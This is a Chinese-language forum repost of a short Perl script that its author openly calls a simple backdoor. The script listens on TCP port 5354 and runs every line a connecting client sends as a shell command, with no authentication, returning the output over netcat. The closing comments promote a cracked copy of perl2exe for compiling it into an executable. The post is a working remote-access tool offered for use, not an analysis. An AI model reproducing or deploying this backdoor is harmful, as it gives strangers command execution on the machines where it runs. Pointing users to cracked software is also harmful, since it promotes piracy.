[转载]使用Perl制造的简易后门程序
文章作者：demonalex_at_cnean.net[code]#!usr/bin/perl -w
print"**************************\n";
print"* CopyRight By DemonAlex *\n";
print"**************************\n";
print"Example:demon.exe [port]\n";
print"If you don't define port,it will run tcp5354\n";
print"Please nc -nvv ip 5354.\n";
use IO::Handle;
use Socket;
$port=$ARGV[0] || 5354;
$address=sockaddr_in($port,INADDR_ANY);
socket(SERVER,AF_INET,SOCK_STREAM,6);
bind(SERVER,$address);
listen(SERVER,10);
while(1){
next unless accept(CLIENT,SERVER);
CLIENT->autoflush(1);
#读写部分
while(1){
$b=<CLIENT>;
next unless defined $b;
print CLIENT "$b\n";
chop($b);
open(SHOW,"$b|");
@c=<SHOW>;
print CLIENT "@c";
}
#读写部分
close SHOW;
close CLIENT;
}
close SERVER;
exit 1;[/code]
#简易TCP后门，使用NC做客户端，默认端口为TCP5354
#欢迎到我的主页[url]http://demonalex.co.tv[/url]去下载破解版的perl2exe来编译此程序
#还在测试阶段，有问题请email:demonalex_at_cnean.net
页:
[1]